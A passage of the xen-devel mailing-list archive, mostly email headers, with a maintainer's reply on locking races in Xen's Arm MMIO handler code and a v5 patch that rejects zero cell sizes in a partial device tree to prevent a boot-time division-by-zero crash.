 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=T1nj5p1ftu6gvs7NNOcaOcvCCo1XAJuDIKFr6FHVlds=;
 b=pPUUV/sXvEPmpjehftY4ioZmXdEi+alYZx0WgWrk6jiRQt3/twOMxiPSpl1vX4s16VZzSRTXGmaT8G8Et1ahcKK2dICY+eVPvsNlXysc/VzxaYpwjNnb02iuNPL8Cy4IbfTFTd5IZzQthwsCspInd7HJ8+6hM917/n1nvZRCfRwP3anWAmG4xLoJIbYatvHaRWWnMIy90XuVzaAFJLqAYZDXSo9XceAamZglwv/0/h/fRoyLUdHnC/fK1IY17sJwRwryXrvo45EThN9VLOP7uFDBnUPLVIc2XSLTR/yt5bhH/JrT5g6E4r1JyOB1Z+6zwgWTCR1ctaOW701GCRakqQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=T1nj5p1ftu6gvs7NNOcaOcvCCo1XAJuDIKFr6FHVlds=;
 b=NfJjrgirl1ksFi2ZvZC0Ulc/0bGtRscMrpG1touyl1FN+LE9SonZ0LzI2iijS0FrdSBYJeoPHpY33W7Eni5K1q2ccPGB5pkBIpYMBEM3qWDAZcKxG4wJNR4KdKP7iOH5SYfI+AkUOyGH+5LIKDNlVRgJ9NGFj/Pe7yJQQcXtH+0FPU/rKe1P3lpW/Gn50pcOwLFjOe/Sj5ApN1YpNwwVM9dS/ikOZohCkwU4PShH5Kl3ff2f7JyCr80vN/s/PVnxjK5LAj7pJiUIHzuJQlNf4CLn82ibgR9Dnp+b1bujCTT+hCm3E/uK64r0Q0Fx293XYEcsR150v7JmEmMfgcoISQ==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>
Subject: Re: [PATCH for-4.22 v4] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v4] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdD5jJCDOEjONIbkmZhLZ5uEYFY7ZlFQ0AgAADGYA=
Date: Thu, 9 Jul 2026 12:08:37 +0000
Message-ID: <ad7404d9-e241-44d8-88f9-cc7a2b5436bd@epam.com>
References:
 <b31a0f41a52d78091556352c3e961c8238806e0e.1783597523.git.dmytro_prokopchuk1@epam.com>
 <d5c84561-5138-4913-888b-231a054a91c1@gmail.com>
In-Reply-To: <d5c84561-5138-4913-888b-231a054a91c1@gmail.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|VI0PR03MB10445:EE_
x-ms-office365-filtering-correlation-id: 5c4d1987-d3d8-40f4-265e-08deddb2cea1
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|23010399003|1800799024|42112799006|366016|38070700021|3023799007|56012099006|4143699003|11063799006|22082099003|18002099003;
x-microsoft-antispam-message-info:
 f9d9TecGJvLe4ss+tXDKuVoc4ASHvFILtgW3NZ7B0SoeHaOVpPKjzM7gnN+aXMwxDderTG20y8zSzOdWa3w1HsNQu256BWNF/ngyCzagTllo/BrDFPR9JltD9LWOUsrtTJlZZnY8UCSyHWQKNU2CVRaUtyJEem+4jiVI+qDQom0mXtEN1W3eStMeNHXwGfpgNDkXi8KU7a+WjWxig5Ifr6RXG79T630kOGc5wW+PrGIuMJ9WEpbFBT87IA2r9aYWf8MtarJ2XjzGV5NRcW5ajE0Y9t91h+m6GF8bCWH6SzUDObU+EVz2se0LrIle97ZRLD58qi5+eUZm2rrFEzMg+CI22cdp1OxCjud0rM4558UO+0IghYE9S9QX2Uha7jKBx2A210rD7NNfD9boxW71QQydwzIsdZVC57rkeJHx69U7Ej/7I3ff49qDbt4KFBmL8WhS23lkip4fKYo9BVNUQ7ZXfiWCrQPdf/Je7MP4uTZjVIuFwfzJgexlmL8BN/z8Bz1Ko5VrsrVlNEP5t5FPM4R2YXtgDUa4P44D3HRXut473BLZF4QxwiWUAtcaLYnMdZPtpOB5+ag+4RvdxiQFJ0UEcRxzX1O9z1ACQ0aUu4/WByXQp6JvLWmwoqr2w8YMnrsoCCN1lb4a8bqW+X/hBkrIgI2ts+J0d/b5oPfOZHor7mkqShMbSDTiHXFCcUS2stJ5cD6mpxWgiTTtZDXwpYV8JlHASm2G8N0BT3Nvhv4=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(42112799006)(366016)(38070700021)(3023799007)(56012099006)(4143699003)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?alhucXhsY1lVaEwxT3p1Zmo3aVJWUGxZQ3AxbC9USVFKSG42TUR2MlpzblQ5?=
 =?utf-8?B?MWxHdWN1WTd6Z0hsMVg2VWVZTTB1anZCN2NjNmsvSW1vaS9WUjBPdkxPa3ph?=
 =?utf-8?B?Z2RhWFkwa1BxYUxXVUJqOU00ZnQxb0pMTFowZ3VaQnFHeThvbjQzdE1WbWsz?=
 =?utf-8?B?TEdiU0dKN3FzME56Q3ZPTHFmKzFmQy8yU1BXUVpjUE92Z2tlYWdpMlhYYk5Y?=
 =?utf-8?B?bFplc3M1Z3VibWk0c1dLSUJXZHcyNVNhNkNKWVZjSjA5dTh5TXA1eHl3Qnhy?=
 =?utf-8?B?VkFnbFJmNWZrdUVEK2daeU5RaGNUT1gySCt4aElwUjFmdjZJdS9BS0lJM0NS?=
 =?utf-8?B?TW91dlQ1cHJiV0RmZ0svUkVrV2FnOFdBVHYrQUt4VG5LVml5MzcxTkpsOTFD?=
 =?utf-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G0rUVRp?=
 =?utf-8?B?dWd5TWN6M0hWMWpFNjR3cGZMVUJ1a1prV09HMTk3bkNiUDhzc0dSWWFBNUtI?=
 =?utf-8?B?RmpPRkNWczF4OTNtc3dLQUhTTkdkWkQ4K1Z1TldMVUR2K01ZdzF0Zm9lM3d4?=
 =?utf-8?B?bnlVK1lDZkdnRWl5Tkk3cWI4RDZLbllWekJkcXlScDFHVHBYZWxMK3dnSTlz?=
 =?utf-8?Q?Mk93z62CAKhK2dkU=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <64256E89919DE74BA5B9CEF0D0763330@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5c4d1987-d3d8-40f4-265e-08deddb2cea1
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 12:08:37.3534
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: N8vaxgYMtbmNKYmAjBTgQDa7KLPwlT+1vhdMj/3BT9D+FngkYeyidTYmx+udFuhy/orhKALYUT2+undGtdL6kfBjQ+0bPiCIPxJsZWYf80w=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: VI0PR03MB10445
X-purgate-ID: tlsNG-33051d/1783598920-F3B54CF4-83BD65CB/0/0
X-purgate-type: clean
X-purgate-size: 3310

DQoNCk9uIDcvOS8yNiAxNDo1NywgT2xla3NpaSBLdXJvY2hrbyB3cm90ZToNCj4gDQo+IA0KPiBP
biA3LzkvMjYgMTo0NyBQTSwgRG15dHJvIFByb2tvcGNodWsxIHdyb3RlOg0KPj4gQS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
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 12:09:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358082.1612364 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnYu-0005CA-JA; Thu, 09 Jul 2026 12:09:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358082.1612364; Thu, 09 Jul 2026 12:09:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnYu-0005C3-Fk; Thu, 09 Jul 2026 12:09:04 +0000
Received: by outflank-mailman (input) for mailman id 1358082;
 Thu, 09 Jul 2026 12:09:03 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <julien@xen.org>) id 1whnYt-0005Ak-Qz
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:09:03 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1whnYt-00FEmR-1p;
 Thu, 09 Jul 2026 12:09:03 +0000
Received: from [2a02:8012:3a1:0:7438:4a3b:9824:694a]
 by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (Exim 4.96)
 (envelope-from <julien@xen.org>) id 1whnYs-00Dkp2-2r;
 Thu, 09 Jul 2026 12:09:03 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xen.org;
	s=20200302mail; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:From:
	References:Cc:To:Subject:MIME-Version:Date:Message-ID;
	bh=ylv4udXSK5b8LKBWu7hWDBxDdgFHBmX8eRgVQ1ehtwY=; b=5Q2XSakNKE1i+oevOAmTh6U9HB
	5dmlDReWKb4149YhWUJQoO69haWNELTMvgeMzVDajXtdTW7TXN1joLCW3QyDrgzw2+RlDAdXvDRWs
	WUojMDAeAzL64eIsD0p07q34lASoU/c5SnhzQfRaaNDLOKmPOu0O5EHqOYVZ2UOp/e9k=;
Message-ID: <e540b651-f9dd-434f-bcb1-11f5198d1267@xen.org>
Date: Thu, 9 Jul 2026 13:09:00 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: Question regarding Locking in the MMIO Handling Framework on Arm
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>,
 "Orzel, Michal" <Michal.Orzel@amd.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>
References: <89509e85-3345-41f8-a6dd-5dc4ba3619ac@gmail.com>
Content-Language: en-GB
From: Julien Grall <julien@xen.org>
In-Reply-To: <89509e85-3345-41f8-a6dd-5dc4ba3619ac@gmail.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit

Hi Oleksii,

Thanks for the report.

On 09/07/2026 11:49, Oleksii Kurochko wrote:
> I have a question regarding the locking in the MMIO handling framework 
> on Arm.
> 
> Is it sufficient to have read_lock() only in find_mmio_handler()? If
> register_mmio_handler() is executed in parallel with find_mmio_handler() 
> (which I assume was the reason for introducing the rwlock), aren't we 
> still exposed to a race condition?

When the read-write lock was introduced, we didn't sort the entries. So 
it was fine at the time. This bug was introduced by commit 8047e090f4 
("xen/arm: io: Use binary search for mmio handler lookup").

With this change, then we...

> 
> find_mmio_handler() returns a pointer to a handler, but the object it 
> points to could be changed by a subsequent call to register_mmio_handler().
> If register_mmio_handler() runs between find_mmio_handler() and 
> handle_{write,read}(), we could end up operating on a different handler 
> than the one that was originally found.
> 
> In other words, shouldn't we acquire the read_lock() in 
> try_handle_mmio() and keep it held for the entire duration of 
> try_handle_mmio()?

... either need to keep the lock for longer or rework the code to 
allocate the handler structure.

> 
> It seems this is not an issue at the moment because 
> register_mmio_handler() is only called during domain creation. If that's 
> the case, do we really need the rwlock at all?

If you are removing the lock, you will build an assumption that 
register_mmio_handler() can only be called only at domain creation.

We would want to add a check in the code to catch any misuse.

> 
> One more thing: it looks like
>  Â  BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
> in register_mmio_handler() would be better placed inside the 
> write_lock() section. As again in the case if register_mmio_handler() 
> will start to be called in parallel we will have an issue.

Indeed.

-- 
Julien Grall



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 12:31:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 12:31:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358105.1612372 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnuq-00018a-6H; Thu, 09 Jul 2026 12:31:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358105.1612372; Thu, 09 Jul 2026 12:31:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnuq-00018T-3j; Thu, 09 Jul 2026 12:31:44 +0000
Received: by outflank-mailman (input) for mailman id 1358105;
 Thu, 09 Jul 2026 12:31:42 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whnuo-00018N-LC
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:31:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnuo-00EtOe-0L
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 14:31:42 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f94a0-5cb7-0a2a0a5109dd-0a2a4501d5be-32
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:31:41 +0200
Received: from [52.101.70.77]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f94ad-3ea4-0a2a45010019-3465464d68c4-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 14:31:41 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by PA4PR03MB7135.eurprd03.prod.outlook.com (2603:10a6:102:ec::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 12:31:39 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 12:31:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=HJxfpbbHHOSg2U451wWYnqorbDhVjfUuj1k1TpL5ISlMehXtX/nX/gHocZUBzb8C2lpWkmjSfzMQgR1Uffktpj0yvdD3QQqF212UBDl207UaQ0+SJnuBpLoWYhZ06BkI3kkfIyNY9QWegg9bhqGceukBjM4VaT3AWdiX1vE/0dIitPq4wHBfzO4sS/3vS8YmcOckylB8+BHY7QEkTfOc0nnrf4HrWBQFG2XfxH228Oqviidncx4TTYtpgapJYUKbxTfMP/yt5NHoHsM350Eqm0iiHXC03A5hX7vGwBl4rZ7YM80ycaVRhHAxyGX0gxXdstryjIzOXHISQ2XqjD5/hQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=mms2V30MltA9AZj5FU0MdVVfu/1AsbSX2lJZeLlLKDY=;
 b=ZcaGsUlbh19mXWhit+UusUMny27es3/pkY7t8zSkSvaZvLROWdqf3WHXip0TwcjO1NrZhQfLIw1TzhtBDrnEGVkaMThYgZ0e9mnpSgWsgDRiemmpo+MhsMh3ks9bC306QH2daHxG0yFnvZg9ZFai3Tw/j7Ye3UJXt8Y5Yq3z2nzHtljqRYiN8PI1IsXRaSi7ijX/CwK4lTVy0QqE2WkFPHlpB0prExT56VRjiLH7HBNOjse76INPb5oy+Cv7PfR7O2FD60dpgerA3cfyeaALpcdKKvT/viN7JOP6Iv+LRKfymfeu0cgtm0mvA55pv2ZgmqRx+l0777Kr9hMZx8Kdag==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=mms2V30MltA9AZj5FU0MdVVfu/1AsbSX2lJZeLlLKDY=;
 b=ZTqvbdNJJTaoUEDnNbyrwzKFA7aJIP0nN0HDJNADAuPGg2bzdbkxubTK0mZ8/az4YOTRKLaFfpc2tTKc0HomjVwPfPhzdJyLTaon8AiRkQQSj6GBuFj9Lh5A+REfYeXtBZr8cDJbsRGps7fePwlhlkhu9QU8mf9KqfyHsG6klf39nJNr5ptoqY1AcEFwi3zivSUrTg95y97vxoEDVhOYnkWvzsoJXYURDi5p0qvVKPIqinQNyIQMbcDQKkAqw0i+h51xyInYdUvLIw4W2mryjzyqTnCj/jO7/KxJ/YtuLvW/qRwgBM6pHHxCCi76t4xnYhKmeDhhS8ORBr3Boz57Xw==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>
Subject: [PATCH for-4.22 v5] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v5] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdD57jetXi2xq2zkS8tff7r9QcYA==
Date: Thu, 9 Jul 2026 12:31:38 +0000
Message-ID:
 <7a146536c13431933899ffffc93c85724dfbaf87.1783599357.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|PA4PR03MB7135:EE_
x-ms-office365-filtering-correlation-id: 2ba52dd9-c0c7-42dd-e9bb-08deddb60614
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|23010399003|1800799024|42112799006|366016|38070700021|3023799007|56012099006|11063799006|18002099003;
x-microsoft-antispam-message-info:
 w+hnUMUXVuMLEulLO4DKeChiFODWIm08qp2p82c1rLG9dLozn63kwDPafwUkZgqPxxlbrFsEcPkGc6PVUZPptdrak4U+/1STIXRDFygHcXf+XgMUBw3fc/xzy2wVsVbttKQSD62kLumjaTeaxpm8LUWB1rnyLwEWowsIWsQ7QHLm2XMZZhSGjYEPfhTqadHoB9xTmOSjEdTjMS1ngxTMlU+O5oI7XzC1YhJOyvPDer44ZXItG3i1xme8bRdok13sKl3uwiwTa09w5h3sE5A3/uukfeJ/ZoLBofyv6APpIvmkAscxAwGtme0ljRrEXC9s2Z4jZFJhaG/meWWFIRLjclo70P2InflJY29JjQCflTZw2YG2vFGvVaRZvgOK6kFZO/fB6aE/34VnBiJSXA2Ma4fyB17Zl3nDGM2xshLMWU3lzaF+n52pFQ81Vj1zbPGd9HgqS6BKCavJejz43JtT81hLMCrXukfty3/8+p3NUfamwHT3Zj0qqYFMMj/U5xaTofedMbSIJ1/O6gHZO86seiGgraxt6DYkj9jkp5giOciBM2kc+7LNfnj0TNBYn1v2RjsO9qSWNtQbPlf5mlLgD8JiBL0+bdeBpnUKl3rVEzu0beAXbTToI65pFBE5Ax1wQHVtZrQHrze82YMu7GC8M7wJYzzkVUA2FMp+o4Do1G/+UjRaxvnEekXxfID6smYu1+fwCOTTbtSskgNUfEXN1FbFMA/DZ4tQW5NIiBlw/Bo=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(42112799006)(366016)(38070700021)(3023799007)(56012099006)(11063799006)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?2jYoiGlYKgPUlMqheAHFgYDbfas1wTP4ZLgBiSPnCDARA6k3A6LjesmqZi?=
 =?iso-8859-1?Q?Q2yKDdoZnZNPZI4gMQyLIuVI/HZAruxWYndk9cDtm7crTIdVKbDXeLJiCp?=
 =?iso-8859-1?Q?2XhDDlKRabOtHK+b/XTFVKijS082Kf+Xwe0X6YK9YZPvpz42nHbH8aUH3z?=
 =?iso-8859-1?Q?gEl6TowZU42LVQ4CBjKFZ682n+DYMfHJU3jU0ziGdL38cGj36n9e0nmxPR?=
 =?iso-8859-1?Q?s4VDnpxwe76VsadAKl0DXSYZYMeI8LMrBxBRkvlcRcgbKA4eWOKxn7Pd1d?=
 =?iso-8859-1?Q?eEDfbm0l/ltaiLJbOg+GoNLtHgYL0L/AVtTdKTNBoZdv0fqjJGWE7EKMEK?=
 =?iso-8859-1?Q?//YRQnO7vxrgxRaFf6A7/sY6Falfy3fFgNBED61rPRqEjTcxWJl4LwJGA6?=
 =?iso-8859-1?Q?9u1xD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bPxz1o+RpR2R2UfXxBayJu8Bk4s9ZsSBtBaBXrAJyj?=
 =?iso-8859-1?Q?NpjaUkdfuD46TR8Ac3m00m+oCZIb9UY8xitJTCWzVgPQZtuu0LydCpQdg4?=
 =?iso-8859-1?Q?jhJknzStcpWUbKFZFA9PcPnuh0GBxTvvtZms5PyzSCPLYRkz5pz9XBK2O0?=
 =?iso-8859-1?Q?+QM2K4IAG7zyiOuvsE+kmC7qxP8GhvStd77WWiJnJ3ggXzjRVsSs8lE/3S?=
 =?iso-8859-1?Q?95aqR2Wz7nf3GFQis+IlLXoMxQKYQBqUJkgF8gaWtnLGpIKxzQHqXcjCX3?=
 =?iso-8859-1?Q?g9KG84JwPKzAmm5eQb1dGn2wvf8B9jM2Hcy7mYzT/elpr3wSFXj3V4NEa+?=
 =?iso-8859-1?Q?L3/EK4vfUyY3HIB4sBoItauFGkKmbv656E6nrwyiPQ0WvP00HZc/UABQ6L?=
 =?iso-8859-1?Q?pHPXqvNSk8k+CtW3ygg0H0ma+l+t5p8LX2k3jQXxoj8JclVgxO8nsWtUPv?=
 =?iso-8859-1?Q?ltTBWCV0kGK/PmxmvHwP7tnuc5wLh5p/1qz11xJyj4I3VtsII3Z2xn4r/I?=
 =?iso-8859-1?Q?r3bdWjsx+EKOXR3a/U4u7oUHXU11f4Q=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 2ba52dd9-c0c7-42dd-e9bb-08deddb60614
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 12:31:38.8836
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: vxRwrpyLMDnpAJp1rGJDB8QGyuxhHpryFlxfNFaKPRlXOwSYZr1/FXWvvfTfI/iJNucOKhFptFW5NMLjZEseAn+79t1xlXlbc72KCpaFtvY=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PA4PR03MB7135
X-purgate-ID: tlsNG-d62444/1783600301-3DEEE0A8-9777C43B/0/0
X-purgate-type: clean
X-purgate-size: 2082

A malformed partial DTB specifying both '#address-cells =3D <0>' and
'#size-cells =3D <0>' causes '(address_cells * 2 + size_cells)' to
evaluate to 0. This sum is subsequently used as a divisor when
calculating the number of regions in the 'xen,reg' property inside
handle_passthrough_prop():

    len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) =
*
                                        sizeof(uint32_t));

This leads to a division by zero exception in the Xen hypervisor during
boot, causing a hypervisor panic/crash.

Fix this by validating that both 'address_cells' and 'size_cells'
are within the valid range of [1, 2] at the read side in scan_pfdt_node()
immediately after they are parsed. Any invalid cell size combination is
safely rejected early with an error message and return -EINVAL.

Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
Changes in v5:
- fixed mistakes around dprintk()
Test CI pipeline:
https://gitlab.com/xen-project/people/dimaprkp4k/xen/-/pipelines/2664600678
---
 xen/common/device-tree/dom0less-build.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tr=
ee/dom0less-build.c
index eacfd93087..c054ea4e2f 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -341,6 +341,14 @@ static int __init scan_pfdt_node(struct kernel_info *k=
info, const void *pfdt,
     size_cells =3D device_tree_get_u32(pfdt, nodeoff, "#size-cells",
                                      DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
=20
+    if ( (address_cells < 1) || (address_cells > 2) ||
+         (size_cells < 1) || (size_cells > 2) )
+    {
+        dprintk(XENLOG_ERR, "Invalid address_cells %u or size_cells %u\n",
+                address_cells, size_cells);
+        return -EINVAL;
+    }
+
     node_next =3D fdt_first_subnode(pfdt, nodeoff);
     while ( node_next > 0 )
     {
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 12:44:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 12:44:20 +0000
